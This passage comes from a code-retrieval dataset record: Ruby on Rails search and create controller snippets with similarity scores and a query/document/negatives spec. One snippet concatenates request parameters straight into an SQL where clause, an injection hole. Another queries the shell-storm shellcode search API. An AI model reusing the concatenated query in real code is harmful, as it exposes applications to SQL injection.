= (!params[:recipe].blank?)? Recipe.where(\"id in (\" + params[:recipe] + \")\") : Recipe.all\n @recipes_json = Recipe.where(\"title ilike ?\", \"%#{params[:q]}%\")\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: custom_json_for(@recipes_json)}\n end\n end", "def scsearch(squery)\n\thttp = Net::HTTP.new(\"shell-storm.org\", 80)\n\treq = Net::HTTP::Get.new(\"/api/?s=#{squery.downcase}\", {'User-Agent' => 'Shell-Storm Ruby API - Search'})\n\tres = http.request(req)\n\tcase res\n\twhen Net::HTTPSuccess then\n\t\tt=[ [ \"Author\", 'Platform', 'Description', 'ID' ] ]\n\t\tres.body.split(\"\\n\").each do |entry|\n\t\t\tshow = entry.split(\"::::\")\n\t\t\tt << [ \"#{show[0]}\", \"#{show[1]}\", \"#{show[2]}\", \"#{show[3]}\" ]\n\t\tend\n\t\ttable = t.to_table(:first_row_is_head => true)\n\t\tputs \"#{HC}#{FGRN}\" + table.to_s + \"#{RS}\"\n\telse\n\t\tputs \"#{HC}#{FRED}Seems we made a bad request somehow#{FWHT}....#{RS}\"\n\t\tputs res.value\n\tend\nend", "def search\n\t\t@query = params[:query]\n\t\t@hospitals = Hospital.search @query, :page => params[:page], :per_page => 10\n\tend", "def index\n @q = Idea.ransack(params[:q])\n @search_field = :title_cont\n if params[:q].present?\n @ideas = @q.result(distinct: true)\n else\n @ideas = Idea.all\n end\n # respond_with @ideas\n respond_to do |format|\n format.html\n format.json { render json: @ideas }\n end\n end", "def query(term, *opts)\n\n opts = {:count => 1, :ratio => 0.0}.merge(opts[0] || {})\n\n return [] if opts[:count] <= 0\n\n resp = JSON.parse(open(search_url term).read, :symbolize_names => true)\n\n resp[:list].map do |res|\n {\n :id => res[:defid],\n :word => res[:word],\n :author => res[:author],\n :permalink => res[:permalink],\n :definition => res[:definition].strip,\n :example => res[:example].strip,\n :upvotes => res[:thumbs_up],\n :downvotes => res[:thumbs_down]\n }\n end.keep_if do |d|\n d[:upvotes]/[d[:downvotes], 0.1].max.to_f >= opts[:ratio]\n end.take opts[:count]\n end" ]
[ "0.72191834", "0.7054289", "0.6822875", "0.6784442", "0.6742803", "0.67366177", "0.6702711", "0.66310084", "0.6585139", "0.6505133", "0.6501061", "0.6494939", "0.6490935", "0.64756835", "0.6471487", "0.6469693", "0.6468954", "0.64571583", "0.6388359", "0.6385724", "0.6367741", "0.6359882", "0.6350763", "0.6298008", "0.6286762", "0.62838006", "0.62768465", "0.6270185", "0.6269302", "0.6250749", "0.62476856", "0.6243882", "0.6219149", "0.6215326", "0.6214482", "0.62077636", "0.6198103", "0.61834925", "0.6179084", "0.6155318", "0.6153631", "0.6153026", "0.6145941", "0.6144835", "0.61413497", "0.61411786", "0.6126806", "0.61221343", "0.61216724", "0.6110735", "0.61082083", "0.6099605", "0.60951585", "0.6092616", "0.6091309", "0.60858023", "0.6081077", "0.608", "0.60793954", "0.6077702", "0.60775816", "0.6072284", "0.6071908", "0.6069832", "0.6069832", "0.6069832", "0.6069832", "0.6069832", "0.60636914", "0.6060301", "0.6059367", "0.6058612", "0.6058013", "0.6057872", "0.6055593", "0.60533124", "0.6053068", "0.6044036", "0.6043461", "0.60434276", "0.60348576", "0.60302174", "0.6028944", "0.60213256", "0.60165596", "0.6014889", "0.6012945", "0.60109967", "0.60105824", "0.60094976", "0.5995978", "0.59870696", "0.5985578", "0.5984268", "0.59838516", "0.59785444", "0.5977134", "0.59764767", "0.5976183", "0.5975047", "0.59646046" ]
0.0
-1
POST /hp_searches POST /hp_searches.json
def create @hp_search = HpSearch.new(hp_search_params) respond_to do |format| if @hp_search.save format.html { redirect_to @hp_search, notice: 'Hp search was successfully created.' } format.json { render :show, status: :created, location: @hp_search } else format.html { render :new } format.json { render json: @hp_search.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_saved_search(query)\n post(\"/saved_searches/create.json\", :query => query)\n end", "def create\n @search = @website.searches.new params[:search]\n\n\t\t@search.url = @website.search_url(params[:search_terms]) if params[:search_terms]\n\n @search.terms = @search.description.split(' ') if params[:use_description_terms]\n\n respond_to do |format|\n if @search.save\n\n format.html { redirect_to website_search_url(@website, @search), notice: 'Search was successfully created.' }\n format.json { render json: @search, status: :created, location: @search }\n else\n format.html { render action: \"new\" }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def search\n \n search = params[:search]\n miniresume = params[:miniresume]\n location = params[:location]\n\n #thinking_sphinx conditions - \n @adviceposts = Advicepost.search(search,miniresume,location,page: 1, per_page: 25)\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @adviceposts }\n end\n end", "def index\n @hp_searches = HpSearch.all\n end", "def create\n @search = Search.new(search_params)\n\n respond_to do |format|\n if @search.save\n format.html { redirect_to action: 'new', query: @search.query }\n format.json { render :show, status: :created, location: @search }\n else\n format.html { redirect_to action: 'new' }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @simple_search = SimpleSearch.new(simple_search_params)\n get_response(params)\n respond_to do |format|\n format.html { render :index}\n format.json { render :index, status: 200 }\n end\n end", "def search_and_save\n if params[:q].nil?\n redirect_to root_path\n else\n @dados = []\n url = URI.encode(\"http://search.twitter.com/search.json?q=#{params[:q]}\")\n call url\n Search.create(query: params[:q])\n end\n end", "def create\n $SEARCHES.push({\n \"query\" => params[:query],\n \"candidate_ids\" => nil,\n \"search_status\" => \"In progress\",\n \"get_candidate_status\" => \"Not Started\",\n \"candidate_details\" => nil\n })\n\n # We build our query using the Connect find_candidates schema.\n # We can stack as many filters as we like here, but for this example we\n # only show filtering by email address.\n query = JSON.generate(\n {'filters': [{'field': 'email', 'operator': '==', 'value': params[:query]}]}\n )\n \n # We can choose to either include a callback header with our\n # request, or to poll until the search is complete. Here\n # we use the callback functionality.\n uri = URI.parse(\"%s/v1/%s/find_candidates\" % [\n Rails.application.config.connect_url,\n Rails.application.config.connector['connector_id']\n ])\n\n search_id = $SEARCHES.length - 1\n callback_url = Rails.application.routes.url_for(\n controller: 'search_complete_callback', action: 'create', id: search_id)\n\n resp = ConnectHelper.request_to_connect(\n uri, Net::HTTP::Post, callback_url: callback_url, request_body: query)\n\n redirect_to '/'\n end", "def index\n @searches = @website.searches.all\n\n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @searches }\n end\n end", "def search\n send_request\n parse_response\n end", "def create\n Rails.logger.tagged(\"Creating search\") { logger.debug(search_params) }\n @search = PeopleSearch.new(search_params)\n authorize @search\n if @search.save\n current_user.people_searches << @search\n #redirect_to @search\n respond_to do |format|\n format.json { render json: @search }\n end\n else\n flash[:error] = \"There was an error performing this search. Please try again.\"\n end\n end", "def hp_search_params\n params.require(:hp_search).permit(:name, :zipcode)\n end", "def search\n spotyfy_client = SpotyfyClient.new(params[:search])\n spotyfy_client.perform\n items = SpotyfyService.parse_hash(spotyfy_client.body)\n render :json => items.to_json\n end", "def search\n @hits = []\n\n if params[:query]\n search = DesignMethod.solr_search do\n fulltext params[:query] do\n highlight\n minimum_match 0\n end\n end\n store_location\n @hits = search.hits\n @results = search.results\n end\n\n respond_to do |format|\n format.html\n format.json { render json: @results }\n end\n end", "def index\n SearchIndex.create(shout: shout, data: body)\n end", "def create\n @home_search = Home::Search.new(params[:home_search])\n\n respond_to do |format|\n if @home_search.save\n format.html { redirect_to @home_search, notice: 'Search was successfully created.' }\n format.json { render json: @home_search, status: :created, location: @home_search }\n else\n format.html { render action: \"new\" }\n format.json { render json: @home_search.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @namesearch = Namesearch.new(params[:namesearch])\n\n respond_to do |format|\n if @namesearch.save\n format.html { redirect_to @namesearch, notice: 'Namesearch was successfully created.' }\n format.json { render json: @namesearch, status: :created, location: @namesearch }\n else\n format.html { render action: \"new\" }\n format.json { render json: @namesearch.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @search = Search.new(params[:search])\n\n respond_to do |format|\n if @search.save\n format.html { redirect_to @search, notice: 'Search was performed.' }\n format.json { render json: @search, status: :created, location: @search }\n else\n format.html { render action: \"new\" }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @searches = Search.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @searches }\n end\n end", "def create\n @search = Search.new(search_params)\n\n respond_to do |format|\n if @search.save\n format.html { redirect_to @search, notice: 'Search was successfully created.' }\n format.json { render action: 'show', status: :created, location: @search }\n else\n format.html { render action: 'new' }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n \n end", "def create\n @search = Search.new(search_params)\n\n respond_to do |format|\n if @search.save\n format.html { redirect_to @search, notice: 'Search was successfully created.' }\n format.json { render :show, status: :created, location: @search }\n else\n format.html { render :new }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @search = Search.new(search_params)\n\n respond_to do |format|\n if @search.save\n format.html { redirect_to @search, notice: 'Search was successfully created.' }\n format.json { render :show, status: :created, location: @search }\n else\n format.html { render :new }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @search = Search.new(search_params)\n\n respond_to do |format|\n if @search.save\n format.html { redirect_to @search, notice: 'Search was successfully created.' }\n format.json { render :show, status: :created, location: @search }\n else\n format.html { render :new }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @search = Search.new(search_params)\n\n respond_to do |format|\n if @search.save\n format.html { redirect_to @search, notice: 'Search was successfully created.' }\n format.json { render :show, status: :created, location: @search }\n else\n format.html { render :new }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @search = Search.new(search_params)\n\n respond_to do |format|\n if @search.save\n format.html { redirect_to @search, notice: 'Search was successfully created.' }\n format.json { render :show, status: :created, location: @search }\n else\n format.html { render :new }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n #@search = Search.new(params[:search])\n #\n #respond_to do |format|\n # if @search.save\n # format.html { redirect_to @search, notice: 'Search was successfully created.' }\n # format.json { render json: @search, status: :created, location: @search }\n # else\n # format.html { render action: \"new\" }\n # format.json { render json: @search.errors, status: :unprocessable_entity }\n # end\n #end\n end", "def index\n @searches = Sunspot.search(Drug, Review, Condition) do\n fulltext params[:search]\n end\n @results=@searches.results\n @drugresults=Array.new\n @conditionresults=Array.new\n @reviewresults=Array.new\n @results.each do |result|\n if result.instance_of?Drug\n @drugresults.push(result)\n elsif result.instance_of?Condition\n @conditionresults.push(result)\n else\n @reviewresults.push(result)\n end\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @searches }\n end\n end", "def create\n @search = Search.new(params[:search])\n\n respond_to do |format|\n if @search.save\n format.html { redirect_to @search, notice: 'Search was successfully created.' }\n format.json { render json: @search, status: :created, location: @search }\n else\n format.html { render action: \"new\" }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @search = Search.new(params[:search])\n\n respond_to do |format|\n if @search.save\n format.html { redirect_to @search, notice: 'Search was successfully created.' }\n format.json { render json: @search, status: :created, location: @search }\n else\n format.html { render action: \"new\" }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @search = Search.new(params[:search])\n\n respond_to do |format|\n if @search.save\n format.html { redirect_to @search, notice: 'Search was successfully created.' }\n format.json { render json: @search, status: :created, location: @search }\n else\n format.html { render action: \"new\" }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @search = Search.new(params[:search])\n\n respond_to do |format|\n if @search.save\n format.html { redirect_to @search, notice: 'Search was successfully created.' }\n format.json { render json: @search, status: :created, location: @search }\n else\n format.html { render action: \"new\" }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @search = Search.new(search_params)\n\n respond_to do |format|\n if @search.save\n format.html { redirect_to @search, notice: 'Search was successfully created.' }\n format.json { render action: 'show', status: :created, location: @search }\n else\n format.html { render action: 'new' }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @search = Search.new(search_params)\n\n respond_to do |format|\n if @search.save\n format.html { redirect_to @search, notice: 'Search was successfully created.' }\n format.json { render action: 'show', status: :created, location: @search }\n else\n format.html { render action: 'new' }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @search = Search.new(search_params)\n\n respond_to do |format|\n if @search.save\n format.html { redirect_to @search, notice: 'Search was successfully created.' }\n format.json { render action: 'show', status: :created, location: @search }\n else\n format.html { render action: 'new' }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n \t\t@searchterm = current_user.searches.create(:search_term=>params[:searchterm],:type=>\"question\")\n \tend", "def search\n @q = params[:q]\n @results = Series.external_search(@q)\n\n respond_to do |format|\n format.html # search.html.haml\n format.json { render json: @results.to_json }\n end\n end", "def search\n @selected = Herb.find_by_id(params[:search])\n if @selected\n redirect_to @selected and return\n else\n \n @search = Herb.search do\n fulltext params[:search]\n\n end\n @herbs = @search.results\n @first = @herbs.pop\n @second = @herbs.pop\n @third = @herbs.pop\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @herbs }\n end\n end", "def index\n # @search = Shelter.search do\n # fulltext params[:search]\n # end\n # @shelters = @search.results\n @shelters = Shelter.all\nend", "def post\n Typhoeus.post(@url,\n body: @results_hash.to_json,\n headers: { 'Content-Type' => 'application/json' })\n end", "def search_success\n page(SubmissionPage).create_post(\"search query\")\n page(FeedDetailsPage).view_search(\"Microsoft\")\n page(FeedDetailsPage).touch_rec\n page(FeedDetailsPage).view_search(\"Microsoft\")\nend", "def post\n\t redirect_to search_path( query: params[:query] )\n\tend", "def create\n\n @search_for = SearchFor.new(search_for_params)\n respond_to do |format|\n if @search_for.save\n format.html { redirect_to @search_for, notice: \"Search for was successfully created.\" }\n format.json { render :show, status: :created, location: @search_for }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @search_for.errors, status: :unprocessable_entity }\n end\n end\n\n end", "def search_posts\n @posts = Post.ransack(name_cont: params[:q]).result.limit(20)\n\n render json: @posts, status: 200\n end", "def create\n @tagsearch = Tagsearch.new(params[:tagsearch])\n\n respond_to do |format|\n if @tagsearch.save\n format.html { redirect_to @tagsearch, notice: 'Tagsearch was successfully created.' }\n format.json { render json: @tagsearch, status: :created, location: @tagsearch }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tagsearch.errors, status: :unprocessable_entity }\n end\n end\n end", "def search(search_url)\n params = { :restrictSearchableAttributes => 'url', :query => search_url, :typoTolerance => false }\n hn_search_url = URI('http://hn.algolia.com/api/v1/search')\n hn_search_url.query = URI.encode_www_form(params)\n response = Net::HTTP.get_response(hn_search_url)\n\n if response.is_a?(Net::HTTPSuccess)\n results = JSON.parse(response.body)\n hits = results['hits']\n\n if hits.length() > 0\n print_hits(hits)\n else\n puts 'could not find a match, you are probably good!'\n end\n else\n # Could not make the request, print out the error.\n response.value()\n end\nend", "def search\n @search = Search.new(params[:search], params[:search2],params[:search3])\n\n respond_to do |format|\n if @search.save\n format.html { redirect_to @search, notice: 'Search was successfully created.' }\n format.json { render json: @search, status: :created, location: @search }\n else\n format.html { render action: \"new\" }\n format.json { render json: @search.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @searches = @user.searches\n respond_to do |format|\n format.html { }\n format.json { @presenter = json_presenter(@searches) }\n end\n end", "def create\n searchterm = current_user.searches.new(:search_term=>params[:searchterm],:type=>\"case\")\n # check condition for searchterm is saved or not.\n if searchterm.save\n # response to the JSON\n render json: { success: true,message: \"Search Term Successfully Created.\", response: searchterm.as_json('search') },:status=>200\n else\n render :json=> { success: false, message: searchterm.errors },:status=> 203\n end\n end", "def index\n # Generate sunspot search\n @records = record_default_search\n\n respond_with(@records)\n end", "def create\n @person_search = PersonSearch.new(params[:person_search])\n\n respond_to do |format|\n if @person_search.save\n format.html { redirect_to @person_search, notice: 'Person search was successfully created.' }\n format.json { render json: @person_search, status: :created, location: @person_search }\n else\n format.html { render action: \"new\" }\n format.json { render json: @person_search.errors, status: :unprocessable_entity }\n end\n end\n end", "def getResultsFromSearch(query, type, guts, ppOverride)\n request('getResultsFromSearch', {'query' => query, 'type' => type, 'guts' => guts, 'ppOverride' => ppOverride})\nend", "def index\n @search = params[\"search\"]\n if @search.present?\n client = Client.new(@search)\n response = client.call\n\n new_results = StoreSearch.new(@search, response).run\n if new_results\n scope_to_use = client.find_search_key || \"random\"\n\n if scope_to_use == \"category\"\n searches = Search.with_category(@search[\"category\"])\n @searches = Search.paginate(page: params[:page], per_page: 5).where(id: searches.map(&:id))\n # TODO recover former sintax\n # @searches = Search.paginate(page: params[:page], per_page: 5)\n # .with_category(@search[\"category\"])\n elsif scope_to_use == \"text\"\n @searches = Search.paginate(page: params[:page], per_page: 5)\n .with_text(@search[\"text\"])\n elsif scope_to_use == \"random\"\n @searches = Search.paginate(page: params[:page], per_page: 5)\n .created_randomly\n else\n @searches = Search.paginate(page: params[:page], per_page: 5)\n end\n else\n @searches = Search.paginate(page: params[:page], per_page: 5)\n end\n end\n \n @searches ||= Search.paginate(page: params[:page], per_page: 5)\n @search = Search.new()\n end", "def create\n serialized_params = serialize_preset_search_params\n @preset_search = PresetSearch.new(serialized_params)\n\n respond_to do |format|\n if @preset_search.save\n format.html { redirect_to @preset_search, notice: 'Stored search was successfully created.' }\n format.json { render :show, status: :created, location: @preset_search }\n else\n format.html { render :new }\n format.json { render json: @preset_search.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @search = Search.create(search_params)\n redirect_to @search\n end", "def prepare_suggested_searches\n @suggested_searches = [\n # { label_key: 'search_suggestion_whale_mass',\n # params: {\n # sort: 'desc',\n # min: 10000,\n # taxon_concept_id: 7649,\n # attribute: 'http://purl.obolibrary.org/obo/VT_0001259',\n # unit: 'http://purl.obolibrary.org/obo/UO_0000009' }},\n # { label_key: 'search_suggestion_cavity_nests',\n # params: {\n # q: 'cavity',\n # attribute: 'http://eol.org/schema/terms/NestType' }},\n { label_key: 'search_suggestion_diatom_shape',\n params: {\n attribute: 'http://purl.obolibrary.org/obo/OBA_0000052',\n taxon_concept_id: 3685 }} #,\n # { label_key: 'search_suggestion_blue_flowers',\n # params: {\n # q: 'http://purl.obolibrary.org/obo/PATO_0000318',\n # attribute: 'http://purl.obolibrary.org/obo/TO_0000537' }}\n ]\n end", "def search_ranked\n render json: Article.with_ranked_terms(params[:query]).map(&:title)\n end", "def create\n @route_search = RouteSearch.new(route_search_params)\n\n respond_to do |format|\n if @route_search.save\n format.html { redirect_to @route_search, notice: 'Route search was successfully created.' }\n format.json { render :show, status: :created, location: @route_search }\n else\n format.html { render :new }\n format.json { render json: @route_search.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @leaf_spot_imm_search = LeafSpotImmSearch.new(leaf_spot_imm_search_params)\n\n respond_to do |format|\n if @leaf_spot_imm_search.save\n format.html { redirect_to @leaf_spot_imm_search, notice: 'Leaf spot imm search was successfully created.' }\n format.json { render :show, status: :created, location: @leaf_spot_imm_search }\n else\n format.html { render :new }\n format.json { render json: @leaf_spot_imm_search.errors, status: :unprocessable_entity }\n end\n end\n end", "def do_search\n @search_text = params[:q]\n\n # Doctoring for the view to find matches:\n @q = @search_text\n @q.chop! if params[:q] =~ /\\*$/\n @q = @q[1..-1] if params[:q] =~ /^\\*/\n\n # TODO: we'll want some whitelist filtering here later:\n # params[:q] = \"#{@q}*\" unless params[:q] =~ /\\*$/ or params[:q] =~ /^[-+]/ or params[:q] =~ /\\s/\n params[:q] = I18n.transliterate(params[:q]).downcase\n\n # TODO: This search suggestions block is large; extract.\n\n # First step (and, yes, this will be slow—we will optimize later), look for\n # search suggestions that match the query:\n words = params[:q].split # TODO: we might want to remove words with ^-\n # TODO: we might also want to remove stopwords e.g.: https://github.com/brenes/stopwords-filter\n suggestions = []\n # YUCK! This is the best way to do this in Searchkick at the moment, though.\n # :S\n words.each do |word|\n word_search = SearchSuggestion.search(word, fields: [{ match: :exact }])\n suggestions += word_search.results if word_search.respond_to?(:results)\n end\n\n # If we only found one thing and they only asked for one thing:\n if suggestions.size == 1 && params[:q] !~ /\\s/\n Rails.logger.warn(\"One suggestion.\")\n # TODO: move this to a helper? It can't go on the model...\n suggestion = suggestions.first\n suggestion = suggestion.synonym_of if suggestion.synonym_of\n where = case suggestion.type\n when :page\n suggestion.page\n when :object_term\n term_records_path(uri: suggestion.object_term, object: true)\n when :path\n suggestion.path\n when :wkt_string\n flash[:notice] = \"Unimplemented, sorry.\"\n \"/\"\n end\n return redirect_to(where)\n elsif suggestions.size >= 2 && params[:q] =~ /\\s/\n Rails.logger.warn(\"Multiple suggestions.\")\n groups = suggestions.group_by(&:type)\n # Easier to handle:\n groups[:page] ||= []\n groups[:object_term] ||= []\n groups[:path] ||= []\n groups[:wkt_string] ||= []\n if groups[:page].size > 1\n Rails.logger.warn(\"Multiple PAGE suggestions.\")\n # We can't use suggestions if there's more than one species. Sorry.\n flash[:notice] = t(\"search.flash.more_than_one_species\",\n species: groups[:page].map(&:match).to_sentence)\n else\n Rails.logger.warn(\"0 or 1 Page suggestions.\")\n clade = groups[:page].try(:first).try(:page_id)\n Rails.logger.warn(\"Page suggestion: #{clade}\") if clade\n if groups[:object_term].size > 2\n Rails.logger.warn(\"Over two TERM suggestions.\")\n flash[:notice] = t(\"search.flash.more_than_two_terms\",\n terms: groups[:object_term].map(&:match).to_sentence)\n elsif groups[:path].size > 0\n Rails.logger.warn(\"...had PATH suggestions.\")\n flash[:notice] = t(\"search.flash.cannot_combine_paths\",\n path: groups[:path].map(&:match).to_sentence)\n else # NOTE: this assumes we only have OBJECT term suggestions, not predicates.\n Rails.logger.warn(\"Usable suggestions...\")\n (first, second) = groups[:object_term] # Arbitrary which is first...\n Rails.logger.warn(\"First term: #{first.object_term}\")\n Rails.logger.warn(\"Second term: #{second.object_term}\") if second\n return redirect_to(term_records_path(uri: first.object_term, object: true,\n and_object: second.try(:object_term), clade: clade))\n end\n end\n end\n\n @clade = if params[:clade]\n puts \"*\" * 100\n puts \"** Filtering by clade #{params[:clade]}\"\n # It doesn't make sense to filter some things by clade:\n params[:only] = if params[:only]\n Array(params[:only]) - [:collections, :users, :predicates, :object_terms]\n else\n [:pages, :media]\n end\n puts \"Only param should now be: #{params[:only]}\"\n Page.find(params[:clade])\n else\n nil\n end\n\n default = params.has_key?(:only)? false : true\n @types = {}\n [ :pages, :collections, :articles, :images, :videos, :videos, :sounds, :links, :users, :predicates, :object_terms ].\n each do |sym|\n @types[sym] = default\n end\n\n @types[params[:only].to_sym] = true if params.has_key?(:only)\n\n # if params.has_key?(:only)\n # Array(params[:only]).each { |type| @types[type.to_sym] = true }\n # elsif params.has_key?(:except)\n # Array(params[:except]).each { |type| @types[type.to_sym] = false }\n # end\n\n # NOTE: no search is performed unless the @types hash indicates a search for\n # that class is required:\n\n @pages = if @types[:pages]\n fields = %w[preferred_vernacular_strings^20 vernacular_strings^20 preferred_scientific_names^10 scientific_name^10 synonyms^10 providers resource_pks]\n match = words.size == 1 ? :text_start : :phrase\n basic_search(Page, boost_by: [:page_richness, :specificity, :depth], match: match, fields: fields,\n where: @clade ? { ancestry_ids: @clade.id } : nil,\n includes: [:preferred_vernaculars, :medium, { native_node: { node_ancestors: :ancestor } }])\n else\n nil\n end\n\n\n @collections = if @types[:collections]\n basic_search(Collection, fields: [\"name^5\", \"description\"])\n else\n nil\n end\n\n @articles = if @types[:articles]\n basic_search(Searchkick,\n fields: [\"name^5\", \"resource_pk^10\", \"owner\", \"description^2\"],\n where: @clade ? { ancestry_ids: @clade.id } : nil,\n index_name: [Article])\n else\n nil\n end\n\n @images = if @types[:images]\n media_search(\"image\")\n else\n nil\n end\n\n @videos = if @types[:videos]\n media_search(\"video\")\n else\n nil\n end\n\n @sounds = if @types[:sounds]\n media_search(\"sound\")\n else\n nil\n end\n\n # @links = if @types[:links]\n # basic_search(Searchkick,\n # fields: [\"name^5\", \"resource_pk^10\", \"owner\", \"description^2\"],\n # where: @clade ? { ancestry_ids: @clade.id } : nil,\n # index_name: [Link])\n # else\n # nil\n # end\n\n @users = if @types[:users]\n basic_search(User, fields: [\"username^6\", \"name^4\", \"tag_line\", \"bio^2\"])\n else\n nil\n end\n\n Searchkick.multi_search([@pages, @articles, @images, @videos, @sounds, @collections, @users].compact)\n\n @pages = PageSearchDecorator.decorate_collection(@pages) if @pages\n @articles = ArticleSearchDecorator.decorate_collection(@articles) if @articles\n @images = ImageSearchDecorator.decorate_collection(@images) if @images\n @videos = VideoSearchDecorator.decorate_collection(@videos) if @videos\n @sounds = SoundSearchDecorator.decorate_collection(@sounds) if @sounds\n @collections = CollectionSearchDecorator.decorate_collection(@collections) if @collections\n @users = UserSearchDecorator.decorate_collection(@users) if @users\n\n # if @types[:predicates]\n # @predicates_count = TraitBank.count_predicate_terms(@q)\n # # NOTE we use @q here because it has no wildcard.\n # @predicates = Kaminari.paginate_array(\n # TraitBank.search_predicate_terms(@q, params[:page], params[:per_page]),\n # total_count: @predicates_count\n # ).page(params[:page]).per(params[:per_page] || 50)\n # end\n #\n # if @types[:object_terms]\n # @object_terms_count = TraitBank.count_object_terms(@q)\n # # NOTE we use @q here because it has no wildcard.\n # @object_terms = Kaminari.paginate_array(\n # TraitBank.search_object_terms(@q, params[:page], params[:per_page]),\n # total_count: @object_terms_count\n # ).page(params[:page]).per(params[:per_page] || 50)\n # end\n\n respond_to do |fmt|\n fmt.html do\n @page_title = t(:page_title_search, query: @q)\n end\n\n fmt.js { }\n\n # TODO: JSON results for other types! TODO: move; this is view logic...\n fmt.json do\n render json: JSON.pretty_generate(@pages.results.as_json(\n except: :native_node_id,\n methods: :scientific_name,\n include: {\n preferred_vernaculars: { only: [:string],\n include: { language: { only: :code } } },\n # NOTE I'm excluding a lot more for search than you would want for\n # the basic page json:\n top_media: { only: [ :id, :guid, :owner, :name ],\n methods: [:small_icon_url, :medium_icon_url],\n include: { provider: { only: [:id, :name] },\n license: { only: [:id, :name, :icon_url] } } }\n }\n ))\n end\n end\n end", "def index\n @searches = Search.all\n end", "def index\n @searches = Search.all\n end", "def index\n @searches = Search.all\n end", "def index\n @searches = Search.all\n end", "def index\n @searches = Search.all\n end", "def create\n Search.create(search_params)\n\n render json: JSON.parse(get_job_positions.body)\n end", "def index\n @search_name = params[:search_name]\n\n if @search_name\n conditions = @search_name.split(' ').map { |n| \"name ilike '%#{n}%'\" }.join(\" OR \")\n responses = Admin::Response.where(conditions)\n else\n responses = Admin::Response\n end\n @responses = responses.order('created_at desc').paginate(:page => params[:page], :per_page => 20)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @responses }\n end\n end", "def search\n @search_keyword = params[\"search\"]\n @project_id = params[:project_id]\n @country = params[\"country\"]\n @age_from = params[\"age_from\"]\n @age_from = @age_from.to_i if !@age_from.blank?\n @age_to = params[\"age_to\"]\n @age_to = @age_to.to_i if !@age_to.blank?\n if !@age_from.blank? && !@age_to.blank? && @age_from > @age_to\n temp = @age_from\n @age_from = @age_to\n @age_to = temp\n end\n @gender = params[\"gender\"]\n @education = params[\"education\"]\n if !@search_keyword.blank?\n @search_keyword = @search_keyword.strip\n @search_keyword = @search_keyword.split(\" \").join(\" \")\n @no_synonyms_found = false\n @search_keyword_model = Keyword.find_by_name(@search_keyword)\n if !@search_keyword_model.blank?\n @synonyms, @votes =\n @search_keyword_model.retrieve_synonyms(@country, @age_from, @age_to, @gender, @education)\n @no_synonyms_found = true if @synonyms.blank?\n @total_votes = 0\n @votes.each { |synonym_id, synonym_votes| @total_votes += synonym_votes }\n else\n redirect_to search_keywords_path(search: @search_keyword)\n end\n else\n redirect_to search_keywords_path\n end\n end", "def search\n\t\tsearch_service = ApplicationService.get :SearchService\n\t\tquery_words = get_word_list params[:query]\n\t\tfiltered_query_words = []\n\t\tquery_words.each { |word| filtered_query_words << word unless search_service.is_stop_word word }\n\n\t\tlimit = params[:page_size] ? params[:page_size].to_i : 100\n\t\tpage = params[:page] ? params[:page].to_i - 1 : 0\n\t\toffset = page * limit\n\n\t\tresults = []\n\n\t\tif query_words.size > 0\n\t\t\tsearch_entries = SearchEntry.where('word REGEXP ?', query_words.join(\"|\"))\n\t\t\t\t\t\t\t\t\t\t.select(:product_id, :id)\n\t\t\t\t\t\t\t\t\t\t.select(\"sum(frequency) as total_frequency\")\n\t\t\t\t\t\t\t\t\t\t.group(:product_id)\n\t\t\t\t\t\t\t\t\t\t.order(frequency: :desc)\n\t\t\t\t\t\t\t\t\t\t.limit(limit)\n\t\t\t\t\t\t\t\t\t\t.offset(offset)\n\t\t\t\t\t\t\t\t\t\t.all\n\n\t\t\tsearch_entries.each do |entry|\n\t\t\t\tproduct = entry.product\n\t\t\t\tresults << {\n\t\t\t\t\tproduct_id: product.id,\n\t\t\t\t\tproduct_name: product.product_name,\n\t\t\t\t\tproduct_price: product.price,\n\t\t\t\t\tproduct_type: product.product_type,\n\t\t\t\t\tthumbnail: product.thumbnail\n\t\t\t\t}\n\t\t\tend\n\t\tend\n\n\t\tpayload = {\n\t\t\tresults: results\n\t\t}\n\n\t\trender status: 200, json: payload\n\tend", "def search\n search_param = params[:term]\n matching_keys = UserKey.submitted.search(search_param).collect { |u| { value: \"#{u.name}\", data: u.id } }\n render json: { suggestions: matching_keys }\n end", "def index\n with = {}\n sort_mode = params[:sorting].blank? ? \"@relevance DESC\" : \"#{params[:sorting]} DESC\"\n search_string = params[:search].blank? ? \"\" : params[:search]\n with[:tags] = params[:tags] if params[:tags]\n @knowledges = Knowledge.search search_string, :with => with, :page => 